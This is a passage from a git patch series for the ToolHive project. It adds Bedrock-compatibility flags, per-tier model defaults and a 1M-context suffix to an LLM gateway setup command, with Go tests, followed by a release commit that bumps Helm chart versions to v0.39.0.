holds configuration for the localhost reverse proxy. type ProxyConfig struct { ListenPort int `yaml:"listen_port,omitempty" json:"listen_port,omitempty"` diff --git a/pkg/llm/manage.go b/pkg/llm/manage.go index 9dd6b03949..eef74295cf 100644 --- a/pkg/llm/manage.go +++ b/pkg/llm/manage.go @@ -38,6 +38,15 @@ func (c *Config) SetFields(opts SetOptions) error { if opts.TLSSkipVerify != nil { c.TLSSkipVerify = *opts.TLSSkipVerify } + if opts.BedrockCompat != nil { + c.Bedrock.Compat = *opts.BedrockCompat + } + if opts.Enable1M != nil { + c.Bedrock.Enable1M = *opts.Enable1M + } + if opts.Models != nil { + c.Models = opts.Models + } if !c.IsConfigured() { return c.ValidatePartial() @@ -57,6 +66,13 @@ type SetOptions struct { ProxyPort int CallbackPort int TLSSkipVerify *bool // nil = not provided; &false = explicitly disable + // BedrockCompat and Enable1M use pointers so false can be distinguished from + // "not provided" (enabling explicit clear via config set). See BedrockConfig. + BedrockCompat *bool + Enable1M *bool + // Models sets the persisted model IDs (Config.Models). nil = not provided + // (leave existing config unchanged); an empty non-nil slice clears them. + Models []string } // DeleteCachedTokens removes all cached OIDC tokens stored under the LLM @@ -109,6 +125,13 @@ func (c *Config) Show(w io.Writer) error { if c.TLSSkipVerify { writef("TLS Skip Verify: true (WARNING: certificate verification disabled)\n") } + if len(c.Models) > 0 { + writef("Models: %v\n", c.Models) + } + if c.Bedrock.Compat { + writef("Bedrock compat: true (CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1)\n") + writef(" 1M context: %t\n", c.Bedrock.Enable1M) + } if len(c.ConfiguredTools) > 0 { writef("Configured tools:\n") for _, t := range c.ConfiguredTools { diff --git a/pkg/llm/manage_test.go b/pkg/llm/manage_test.go index 9235317116..b253f32b18 100644 --- a/pkg/llm/manage_test.go +++ b/pkg/llm/manage_test.go @@ -10,6 +10,8 @@ import ( "strings" "testing" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" "go.uber.org/mock/gomock" "github.com/stacklok/toolhive/pkg/secrets" @@ -160,6 +162,52 @@ func TestConfig_SetFields(t *testing.T) { func boolPtr(b bool) *bool { return &b } +// ── SetFields (Bedrock) ────────────────────────────────────────────────────── + +func TestConfig_SetFields_Bedrock(t *testing.T) { + t.Parallel() + + base := func() Config { + return Config{ + GatewayURL: "https://gw.example.com", + OIDC: OIDCConfig{Issuer: "https://auth.example.com", ClientID: "c"}, + } + } + + t.Run("compat, enable1M, and models are set and persisted", func(t *testing.T) { + t.Parallel() + cfg := base() + require.NoError(t, cfg.SetFields(SetOptions{ + BedrockCompat: boolPtr(true), + Enable1M: boolPtr(true), + Models: []string{"us.anthropic.claude-opus-x"}, + })) + assert.True(t, cfg.Bedrock.Compat) + assert.True(t, cfg.Bedrock.Enable1M) + // Models is persisted at the top level (single source of truth), not under Bedrock. + assert.Equal(t, []string{"us.anthropic.claude-opus-x"}, cfg.Models) + }) + + t.Run("nil pointers leave existing values unchanged", func(t *testing.T) { + t.Parallel() + cfg := base() + cfg.Bedrock = BedrockConfig{Compat: true, Enable1M: true} + cfg.Models = []string{"m"} + require.NoError(t, cfg.SetFields(SetOptions{})) + assert.True(t, cfg.Bedrock.Compat) + assert.True(t, cfg.Bedrock.Enable1M) + assert.Equal(t, []string{"m"}, cfg.Models) + }) + + t.Run("false pointer clears compat", func(t *testing.T) { + t.Parallel() + cfg := base() + cfg.Bedrock.Compat = true + require.NoError(t, cfg.SetFields(SetOptions{BedrockCompat: boolPtr(false)})) + assert.False(t, cfg.Bedrock.Compat) + }) +} + // ── DeleteCachedTokens ─────────────────────────────────────────────────────── func TestDeleteCachedTokens(t *testing.T) { diff --git a/pkg/llm/setup.go b/pkg/llm/setup.go index 48f683a123..d4516e29b3 100644 --- a/pkg/llm/setup.go +++ b/pkg/llm/setup.go @@ -72,7 +72,7 @@ func Setup( ctx context.Context, out, errOut io.Writer, gm GatewayManager, provider ConfigUpdater, login LoginFunc, inlineOpts SetOptions, anthropicPathPrefix string, anthropicPathPrefixSet bool, targetClient string, - lazy bool, models []string, + lazy bool, ) error { llmCfg := provider.GetLLMConfig() @@ -144,12 +144,20 @@ func Setup( configured, err := configureDetectedTools( out, errOut, gm, detected, llmCfg.GatewayURL, proxyBaseURL, tokenHelperCommand, - tokenHelperPath, tokenHelperArgs, llmCfg.TLSSkipVerify, anthropicPrefix, models, + tokenHelperPath, tokenHelperArgs, llmCfg.TLSSkipVerify, anthropicPrefix, llmCfg.Models, llmCfg.Bedrock, ) if err != nil { return err } + // Warn about bedrock flags the user passed THIS run that had no effect: + // --bedrock-compat when Claude Code was not configured, and --enable-1m when + // bedrock-compat is off. Keyed off inlineOpts (not the merged config) because + // bedrock-compat is persisted — gating on llmCfg.Bedrock would nag on every + // later setup that omits claude-code. llmCfg.Bedrock.Compat is the effective + // (persisted + inline) compat state used for the --enable-1m check. + warnBedrockNoEffect(errOut, inlineOpts, llmCfg.Bedrock.Compat, configured) + warnTLSSkipVerify(errOut, llmCfg.TLSSkipVerify, configured) warnCredentialHelperTools(out, errOut, gm, configured) @@ -349,6 +357,102 @@ func filterDetectedClients(detected []string, targetClient string) ([]string, er return nil, fmt.Errorf("client %q is not installed or not detected", targetClient) } +// claudeCodeClient is the canonical client identifier for Claude Code. Declared +// here as a string literal because pkg/llm does not import pkg/client (which +// owns the ClientApp constant) to avoid an import cycle. +const claudeCodeClient = "claude-code" + +// Default Bedrock inference-profile model IDs written for Claude Code in +// bedrock-compat mode when --models does not override a tier. These track the +// current generation and are expected to be bumped periodically; users override +// per tier via --models. +const ( + defaultBedrockHaikuModel = "us.anthropic.claude-haiku-4-5-20251001-v1:0" + defaultBedrockOpusModel = "us.anthropic.claude-opus-4-8" + defaultBedrockSonnetModel = "us.anthropic.claude-sonnet-5" +) + +// oneMSuffix is the model-ID suffix that opts Bedrock opus/sonnet into the +// 1M-token context window. +const oneMSuffix = "[1m]" + +// resolveBedrockModels maps optional override model IDs onto Claude Code's three +// tiers, starting from the built-in defaults. Each override is assigned to a tier +// by matching "haiku", "opus", or "sonnet" (case-insensitive) as a substring of +// the ID. When enable1M is true, the "[1m]" suffix is appended to the opus and +// sonnet IDs (never haiku, which has a 200K context window) to opt into the 1M +// context window on Bedrock; an override that already carries the suffix is left +// as-is so it is not doubled. +// +// warnings collects the human-readable diagnostics for overrides that had no +// (or a surprising) effect — an ID matching no tier, and a second ID clobbering +// a tier an earlier ID already set — so the caller can surface them. +func resolveBedrockModels(models []string, enable1M bool) (haiku, opus, sonnet string, warnings []string) { + haiku, opus, sonnet = defaultBedrockHaikuModel, defaultBedrockOpusModel, defaultBedrockSonnetModel + // Track which tiers an override has already claimed so a second override for + // the same tier is reported rather than silently winning last-write. + assigned := make(map[string]string, 3) + assign := func(tier string, dst *string, id string) { + if prev, ok := assigned[tier]; ok { + warnings = append(warnings, fmt.Sprintf( + "--models entry %q overrides %q for the %s tier; only the last is used", id, prev, tier)) + } + assigned[tier] = id + *dst = id + } + for _, m := range models { + switch lower := strings.ToLower(m); { + case strings.Contains(lower, "haiku"): + assign("haiku", &haiku, m) + case strings.Contains(lower, "opus"): + assign("opus", &opus, m) + case strings.Contains(lower, "sonnet"): + assign("sonnet", &sonnet, m) + default: + warnings = append(warnings, fmt.Sprintf( + "--models entry %q did not match a tier (expected haiku/opus/sonnet in the ID); ignored", m)) + } + } + if enable1M { + opus = withOneMSuffix(opus) + sonnet = withOneMSuffix(sonnet) + } + return haiku, opus, sonnet, warnings +} + +// withOneMSuffix appends the "[1m]" suffix unless id already ends with it, so a +// user-supplied ID that already carries the suffix is not doubled into "[1m][1m]". +func withOneMSuffix(id string) string { + if strings.HasSuffix(id, oneMSuffix) { + return id + } + return id + oneMSuffix +} + +// warnBedrockNoEffect warns about Bedrock flags the user passed on THIS run that +// had no effect. It keys off opts (the inline flags for this invocation), not the +// persisted config, because bedrock-compat is sticky: warning off the merged state +// would nag on every later setup that omits claude-code even though the flag was +// not passed. effectiveCompat is the merged (persisted + inline) compat state, used +// to decide whether an inline --enable-1m is inert. +// +// Two cases: +// - --bedrock-compat passed this run but Claude Code was not among the configured +// tools (the keys only attach to Claude Code), and +// - --enable-1m passed this run while compat is off (the 1M suffix rides the +// Bedrock model-ID path, so it is inert without compat) — otherwise a silent +// no-op. +func warnBedrockNoEffect(errOut io.Writer, opts SetOptions, effectiveCompat bool, configured []ToolConfig) { + if opts.BedrockCompat != nil && *opts.BedrockCompat && !isTarget(configured, claudeCodeClient) { + _, _ = fmt.Fprintln(errOut, + "Warning: --bedrock-compat was set but Claude Code was not configured; the flag had no effect.") + } + if opts.Enable1M != nil && *opts.Enable1M && !effectiveCompat { + _, _ = fmt.Fprintln(errOut, + "Warning: --enable-1m has no effect without --bedrock-compat; it is ignored.") + } +} + // configureDetectedTools patches each detected tool's config file and returns // the list of successfully configured tools. An error is returned only when no // tool was configured successfully. @@ -361,6 +465,7 @@ func configureDetectedTools( tlsSkipVerify bool, anthropicPathPrefix string, models []string, + bedrock BedrockConfig, ) ([]ToolConfig, error) { var configured []ToolConfig for _, clientType := range detected { @@ -389,6 +494,22 @@ func configureDetectedTools( TLSSkipVerify: tlsSkipVerify, Models: models, } + + // Bedrock-compat applies only to Claude Code: it disables the experimental + // anthropic-beta headers Bedrock rejects and pins per-tier Bedrock model + // IDs. Resolve defaults, tier mapping, and the optional [1m] suffix here so + // pkg/client only writes the resolved values. + if bedrock.Compat && clientType == claudeCodeClient { + haiku, opus, sonnet, warnings := resolveBedrockModels(models, bedrock.Enable1M) + applyCfg.BedrockCompat = true + applyCfg.BedrockHaikuModel = haiku + applyCfg.BedrockOpusModel = opus + applyCfg.BedrockSonnetModel = sonnet + for _, w := range warnings { + _, _ = fmt.Fprintf(errOut, "Warning: %s\n", w) + } + } + configPath, err := gm.ConfigureLLMGateway(clientType, applyCfg) if err != nil { _, _ = fmt.Fprintf(errOut, "Warning: failed to configure %s: %v\n", clientType, err) diff --git a/pkg/llm/setup_test.go b/pkg/llm/setup_test.go index fce54f9282..aa0ae2c841 100644 --- a/pkg/llm/setup_test.go +++ b/pkg/llm/setup_test.go @@ -20,6 +20,204 @@ import ( secretsmocks "github.com/stacklok/toolhive/pkg/secrets/mocks" ) +// ── resolveBedrockModels ────────────────────────────────────────────────────── + +func TestResolveBedrockModels(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + models []string + enable1M bool + wantHaiku string + wantOpus string + wantSonnet string + wantWarnings []string + }{ + { + name: "defaults when no overrides", + wantHaiku: defaultBedrockHaikuModel, + wantOpus: defaultBedrockOpusModel, + wantSonnet: defaultBedrockSonnetModel, + }, + { + name: "override each tier by substring", + models: []string{"us.anthropic.claude-haiku-x", "us.anthropic.claude-opus-x", "us.anthropic.claude-sonnet-x"}, + wantHaiku: "us.anthropic.claude-haiku-x", + wantOpus: "us.anthropic.claude-opus-x", + wantSonnet: "us.anthropic.claude-sonnet-x", + }, + { + name: "enable1M appends [1m] to opus and sonnet only", + enable1M: true, + wantHaiku: defaultBedrockHaikuModel, + wantOpus: defaultBedrockOpusModel + "[1m]", + wantSonnet: defaultBedrockSonnetModel + "[1m]", + }, + { + name: "unmatched entry is reported and ignored", + models: []string{"us.anthropic.claude-opus-x", "some-random-model"}, + wantHaiku: defaultBedrockHaikuModel, + wantOpus: "us.anthropic.claude-opus-x", + wantSonnet: defaultBedrockSonnetModel, + wantWarnings: []string{`--models entry "some-random-model" did not match a tier (expected haiku/opus/sonnet in the ID); ignored`}, + }, + { + name: "matching is case-insensitive", + models: []string{"US.ANTHROPIC.CLAUDE-OPUS-X"}, + wantHaiku: defaultBedrockHaikuModel, + wantOpus: "US.ANTHROPIC.CLAUDE-OPUS-X", + wantSonnet: defaultBedrockSonnetModel, + }, + { + name: "duplicate-tier override reports the clobbered entry and last wins", + models: []string{"us.anthropic.claude-sonnet-5", "us.anthropic.claude-sonnet-4-6"}, + wantHaiku: defaultBedrockHaikuModel, + wantOpus: defaultBedrockOpusModel, + wantSonnet: "us.anthropic.claude-sonnet-4-6", + wantWarnings: []string{ + `--models entry "us.anthropic.claude-sonnet-4-6" overrides "us.anthropic.claude-sonnet-5" for the sonnet tier; only the last is used`, + }, + }, + { + name: "already-suffixed override is not doubled with enable1M", + models: []string{"us.anthropic.claude-opus-4-8[1m]"}, + enable1M: true, + wantHaiku: defaultBedrockHaikuModel, + wantOpus: "us.anthropic.claude-opus-4-8[1m]", + wantSonnet: defaultBedrockSonnetModel + "[1m]", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + haiku, opus, sonnet, warnings := resolveBedrockModels(tt.models, tt.enable1M) + assert.Equal(t, tt.wantHaiku, haiku) + assert.Equal(t, tt.wantOpus, opus) + assert.Equal(t, tt.wantSonnet, sonnet) + assert.Equal(t, tt.wantWarnings, warnings) + }) + } +} + +// ── warnBedrockNoEffect ─────────────────────────────────────────────────────── + +func TestWarnBedrockNoEffect(t *testing.T) { + t.Parallel() + + claudeCode := []ToolConfig{{Tool: claudeCodeClient}} + cursorOnly := []ToolConfig{{Tool: "cursor"}} + + tests := []struct { + name string + opts SetOptions // flags passed THIS run + effectiveCompat bool // merged persisted + inline compat + configured []ToolConfig + wantWarn string // substring expected on stderr; "" means no output + }{ + { + name: "compat passed this run with claude-code configured is silent", + opts: SetOptions{BedrockCompat: boolPtr(true)}, + effectiveCompat: true, + configured: claudeCode, + }, + { + name: "compat passed this run without claude-code warns", + opts: SetOptions{BedrockCompat: boolPtr(true)}, + effectiveCompat: true, + configured: cursorOnly, + wantWarn: "--bedrock-compat was set but Claude Code was not configured", + }, + { + // Regression: bedrock-compat is persisted, so a later run that omits the + // flag must NOT warn even though effective compat is on and claude-code + // is not among the configured tools. + name: "persisted compat, flag not passed this run, is silent", + opts: SetOptions{}, + effectiveCompat: true, + configured: cursorOnly, + }, + { + name: "enable1M passed this run without compat warns", + opts: SetOptions{Enable1M: boolPtr(true)}, + configured: claudeCode, + wantWarn: "--enable-1m has no effect without --bedrock-compat", + }, + { + name: "enable1M passed this run with effective compat is silent", + opts: SetOptions{Enable1M: boolPtr(true)}, + effectiveCompat: true, + configured: claudeCode, + }, + { + name: "no bedrock flags this run is silent", + opts: SetOptions{}, + configured: claudeCode, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + var errOut bytes.Buffer + warnBedrockNoEffect(&errOut, tt.opts, tt.effectiveCompat, tt.configured) + if tt.wantWarn == "" { + assert.Empty(t, errOut.String()) + return + } + assert.Contains(t, errOut.String(), tt.wantWarn) + }) + } +} + +// TestConfigureDetectedTools_BedrockClaudeCode verifies that bedrock-compat +// populates the ApplyConfig bedrock fields for claude-code (with defaults) and +// leaves them untouched for a non-claude-code client. +func TestConfigureDetectedTools_BedrockClaudeCode(t *testing.T) { + t.Parallel() + + gm := &capturingGatewayManager{mode: "direct"} + var out, errOut bytes.Buffer + + _, err := configureDetectedTools( + &out, &errOut, gm, + []string{"claude-code"}, + "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, + "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, + false, "/anthropic", nil, + BedrockConfig{Compat: true, Enable1M: true}, + ) + require.NoError(t, err) + require.Len(t, gm.applied, 1) + + got := gm.applied[0] + assert.True(t, got.BedrockCompat) + assert.Equal(t, defaultBedrockHaikuModel, got.BedrockHaikuModel) + assert.Equal(t, defaultBedrockOpusModel+"[1m]", got.BedrockOpusModel) + assert.Equal(t, defaultBedrockSonnetModel+"[1m]", got.BedrockSonnetModel) +} + +func TestConfigureDetectedTools_BedrockSkippedForNonClaudeCode(t *testing.T) { + t.Parallel() + + gm := &capturingGatewayManager{mode: "proxy"} + var out, errOut bytes.Buffer + + _, err := configureDetectedTools( + &out, &errOut, gm, + []string{"cursor"}, + "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, + "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, + false, "", nil, + BedrockConfig{Compat: true}, + ) + require.NoError(t, err) + require.Len(t, gm.applied, 1) + assert.False(t, gm.applied[0].BedrockCompat) + assert.Empty(t, gm.applied[0].BedrockOpusModel) +} + // ── mergeToolConfigs ────────────────────────────────────────────────────────── func TestMergeToolConfigs_EmptyExisting(t *testing.T) { @@ -229,7 +427,7 @@ func TestSetup_Lazy_SkipsLoginAndPersistsTools(t *testing.T) { // anthropicPathPrefixSet=true skips the network probe; lazy=true. err := Setup( context.Background(), &stdout, &stderr, gm, provider, login, - SetOptions{}, "", true, "", true, nil, + SetOptions{}, "", true, "", true, ) require.NoError(t, err) @@ -257,7 +455,7 @@ func TestSetup_NonLazy_InvokesLogin(t *testing.T) { var stdout, stderr bytes.Buffer err := Setup( context.Background(), &stdout, &stderr, gm, provider, login, - SetOptions{}, "", true, "", false, nil, + SetOptions{}, "", true, "", false, ) require.NoError(t, err) @@ -299,6 +497,7 @@ func TestConfigureDetectedTools_PathPrefixAppendedForDirectMode(t *testing.T) { "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, false, "/anthropic", nil, + BedrockConfig{}, ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -320,6 +519,7 @@ func TestConfigureDetectedTools_NoPrefixWhenEmpty(t *testing.T) { "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, false, "", nil, // no prefix + BedrockConfig{}, ) require.NoError(t, err) require.Len(t, gm.applied, 1) @@ -340,6 +540,7 @@ func TestConfigureDetectedTools_PrefixNotAppliedForProxyMode(t *testing.T) { "https://gw.example.com", "http://localhost:14000/v1", `"thv" llm token`, "/usr/local/bin/thv", []string{"llm", "token", "--skip-browser"}, false, "/anthropic", nil, + BedrockConfig{}, ) require.NoError(t, err) require.Len(t, gm.applied, 1) diff --git a/pkg/llmgateway/config.go b/pkg/llmgateway/config.go index ce0c436890..c3795be729 100644 --- a/pkg/llmgateway/config.go +++ b/pkg/llmgateway/config.go @@ -108,4 +108,15 @@ type ApplyConfig struct { // a model override (e.g. Claude Desktop's inferenceModels). Empty means the // client falls back to gateway-side model auto-discovery. Models []string + // BedrockCompat and the per-tier Bedrock model IDs configure Claude Code for a + // gateway that forwards to AWS Bedrock. When BedrockCompat is true, Claude Code + // is configured with CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 (Bedrock rejects + // the experimental anthropic-beta headers) and the three per-tier model IDs. + // The caller (pkg/llm) resolves defaults, tier mapping, and the optional "[1m]" + // suffix; pkg/client only writes the resolved values. All are empty/false for + // non-Bedrock setups. + BedrockCompat bool + BedrockHaikuModel string + BedrockOpusModel string + BedrockSonnetModel string } From 4ebb610f23d670b2381b18d5edebf18d48fdb2e5 Mon Sep 17 00:00:00 2001 From: "toolhive-release-app[bot]" <280093410+toolhive-release-app[bot]@users.noreply.github.com> Date: Thu, 16 Jul 2026 18:43:51 +0300 Subject: [PATCH 59/66] Release v0.39.0 (#5833) Update release files Release-Triggered-By: aponcedeleonch Co-authored-by: toolhive-release-app[bot] <280093410+toolhive-release-app[bot]@users.noreply.github.com> --- VERSION | 2 +- deploy/charts/operator-crds/Chart.yaml | 4 ++-- deploy/charts/operator-crds/README.md | 2 +- deploy/charts/operator/Chart.yaml | 4 ++-- deploy/charts/operator/README.md | 10 +++++----- deploy/charts/operator/values.yaml | 6 +++--- 6 files changed, 14 insertions(+), 14 deletions(-) diff --git a/VERSION b/VERSION index ca75280b09..4ef2eb086f 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -0.38.0 +0.39.0 diff --git a/deploy/charts/operator-crds/Chart.yaml b/deploy/charts/operator-crds/Chart.yaml index 756c3fb1cb..bebdfdfd09 100644 --- a/deploy/charts/operator-crds/Chart.yaml +++ b/deploy/charts/operator-crds/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator-crds description: A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. type: application -version: 0.38.0 -appVersion: "v0.38.0" +version: 0.39.0 +appVersion: "v0.39.0" diff --git a/deploy/charts/operator-crds/README.md b/deploy/charts/operator-crds/README.md index 0fbca31b87..daf71c89ac 100644 --- a/deploy/charts/operator-crds/README.md +++ b/deploy/charts/operator-crds/README.md @@ -1,6 +1,6 @@ # ToolHive Operator CRDs Helm Chart -![Version: 0.38.0](https://img.shields.io/badge/Version-0.38.0-informational?style=flat-square) +![Version: 0.39.0](https://img.shields.io/badge/Version-0.39.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for installing the ToolHive Operator CRDs into Kubernetes. diff --git a/deploy/charts/operator/Chart.yaml b/deploy/charts/operator/Chart.yaml index 4b01bfc334..dc00519ed1 100644 --- a/deploy/charts/operator/Chart.yaml +++ b/deploy/charts/operator/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: toolhive-operator description: A Helm chart for deploying the ToolHive Operator into Kubernetes. type: application -version: 0.38.0 -appVersion: "v0.38.0" +version: 0.39.0 +appVersion: "v0.39.0" diff --git a/deploy/charts/operator/README.md b/deploy/charts/operator/README.md index 12109c8b9b..72f290588a 100644 --- a/deploy/charts/operator/README.md +++ b/deploy/charts/operator/README.md @@ -1,6 +1,6 @@ # ToolHive Operator Helm Chart -![Version: 0.38.0](https://img.shields.io/badge/Version-0.38.0-informational?style=flat-square) +![Version: 0.39.0](https://img.shields.io/badge/Version-0.39.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) A Helm chart for deploying the ToolHive Operator into Kubernetes. @@ -46,7 +46,7 @@ The command removes all the Kubernetes components associated with the chart and |-----|------|---------|-------------| | fullnameOverride | string | `"toolhive-operator"` | Provide a fully-qualified name override for resources | | nameOverride | string | `""` | Override the name of the chart | -| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.38.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.38.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.38.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | +| operator | object | `{"affinity":{},"autoscaling":{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80},"containerSecurityContext":{"allowPrivilegeEscalation":false,"capabilities":{"drop":["ALL"]},"readOnlyRootFilesystem":true,"runAsNonRoot":true,"runAsUser":1000,"seccompProfile":{"type":"RuntimeDefault"}},"defaultImagePullSecrets":[],"defaultRedis":{"addr":"","existingSecret":"","existingSecretKey":""},"env":[],"features":{"experimental":false,"storageVersionMigrator":false},"gc":{"gogc":75,"gomemlimit":"110MiB"},"image":"ghcr.io/stacklok/toolhive/operator:v0.39.0","imagePullPolicy":"IfNotPresent","imagePullSecrets":[],"leaderElectionRole":{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]},"livenessProbe":{"httpGet":{"path":"/healthz","port":"health"},"initialDelaySeconds":15,"periodSeconds":20},"nodeSelector":{},"podAnnotations":{},"podLabels":{},"podSecurityContext":{"runAsNonRoot":true},"ports":[{"containerPort":8080,"name":"metrics","protocol":"TCP"},{"containerPort":8081,"name":"health","protocol":"TCP"}],"proxyHost":"0.0.0.0","rbac":{"allowedNamespaces":[],"scope":"cluster"},"readinessProbe":{"httpGet":{"path":"/readyz","port":"health"},"initialDelaySeconds":5,"periodSeconds":10},"replicaCount":1,"resources":{"limits":{"cpu":"500m","memory":"128Mi"},"requests":{"cpu":"10m","memory":"64Mi"}},"serviceAccount":{"annotations":{},"automountServiceAccountToken":true,"create":true,"labels":{},"name":"toolhive-operator"},"tolerations":[],"toolhiveRunnerImage":"ghcr.io/stacklok/toolhive/proxyrunner:v0.39.0","vmcpImage":"ghcr.io/stacklok/toolhive/vmcp:v0.39.0","volumeMounts":[],"volumes":[]}` | All values for the operator deployment and associated resources | | operator.affinity | object | `{}` | Affinity settings for the operator pod | | operator.autoscaling | object | `{"enabled":false,"maxReplicas":100,"minReplicas":1,"targetCPUUtilizationPercentage":80}` | Configuration for horizontal pod autoscaling | | operator.autoscaling.enabled | bool | `false` | Enable autoscaling for the operator | @@ -65,7 +65,7 @@ The command removes all the Kubernetes components associated with the chart and | operator.gc | object | `{"gogc":75,"gomemlimit":"110MiB"}` | Go memory limits and garbage collection percentage for the operator container | | operator.gc.gogc | int | `75` | Go garbage collection percentage for the operator container | | operator.gc.gomemlimit | string | `"110MiB"` | Go memory limits for the operator container | -| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.38.0"` | Container image for the operator | +| operator.image | string | `"ghcr.io/stacklok/toolhive/operator:v0.39.0"` | Container image for the operator | | operator.imagePullPolicy | string | `"IfNotPresent"` | Image pull policy for the operator container | | operator.imagePullSecrets | list | `[]` | List of image pull secrets to use | | operator.leaderElectionRole | object | `{"binding":{"name":"toolhive-operator-leader-election-rolebinding"},"name":"toolhive-operator-leader-election-role","rules":[{"apiGroups":[""],"resources":["configmaps"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["coordination.k8s.io"],"resources":["leases"],"verbs":["get","list","watch","create","update","patch","delete"]},{"apiGroups":["events.k8s.io"],"resources":["events"],"verbs":["create","patch"]}]}` | Leader election role configuration | @@ -92,8 +92,8 @@ The command removes all the Kubernetes components associated with the chart and | operator.serviceAccount.labels | object | `{}` | Labels to add to the service account | | operator.serviceAccount.name | string | `"toolhive-operator"` | The name of the service account to use. If not set and create is true, a name is generated. | | operator.tolerations | list | `[]` | Tolerations for the operator pod | -| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.38.0"` | Image to use for Toolhive runners | -| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.38.0"` | Image to use for Virtual MCP Server (vMCP) deployments | +| operator.toolhiveRunnerImage | string | `"ghcr.io/stacklok/toolhive/proxyrunner:v0.39.0"` | Image to use for Toolhive runners | +| operator.vmcpImage | string | `"ghcr.io/stacklok/toolhive/vmcp:v0.39.0"` | Image to use for Virtual MCP Server (vMCP) deployments | | operator.volumeMounts | list | `[]` | Additional volume mounts on the operator container | | operator.volumes | list | `[]` | Additional volumes to mount on the operator pod | | registryAPI | object | `{"image":"ghcr.io/stacklok/thv-registry-api:v1.3.0"}` | All values for the registry API deployment and associated resources | diff --git a/deploy/charts/operator/values.yaml b/deploy/charts/operator/values.yaml index 75db2437c1..54a6691c1f 100644 --- a/deploy/charts/operator/values.yaml +++ b/deploy/charts/operator/values.yaml @@ -59,15 +59,15 @@ operator: existingSecretKey: "" # -- Container image for the operator - image: ghcr.io/stacklok/toolhive/operator:v0.38.0 + image: ghcr.io/stacklok/toolhive/operator:v0.39.0 # -- Image pull policy for the operator container imagePullPolicy: IfNotPresent # -- Image to use for Toolhive runners - toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.38.0 + toolhiveRunnerImage: ghcr.io/stacklok/toolhive/proxyrunner:v0.39.0 # -- Image to use for Virtual MCP Server (vMCP) deployments - vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.38.0 + vmcpImage: ghcr.io/stacklok/toolhive/vmcp:v0.39.0 # -- Host for the proxy deployed by the operator proxyHost: 0.0.0.0 From 3aaef18769081a69788ec50cc2b2412beb1218bc Mon Sep 17 00:00:00 2001 From: carlos-lopez-vecino Date: Wed, 14 Oct 2026 13:42:01 +0200 Subject: [PATCH 60/66] Update FORK.md for the v0.39.0 merge Record the new merge base, the fork behaviour kept while resolving (Service update order, merged static backends) and the patches dropped because upstream now covers them 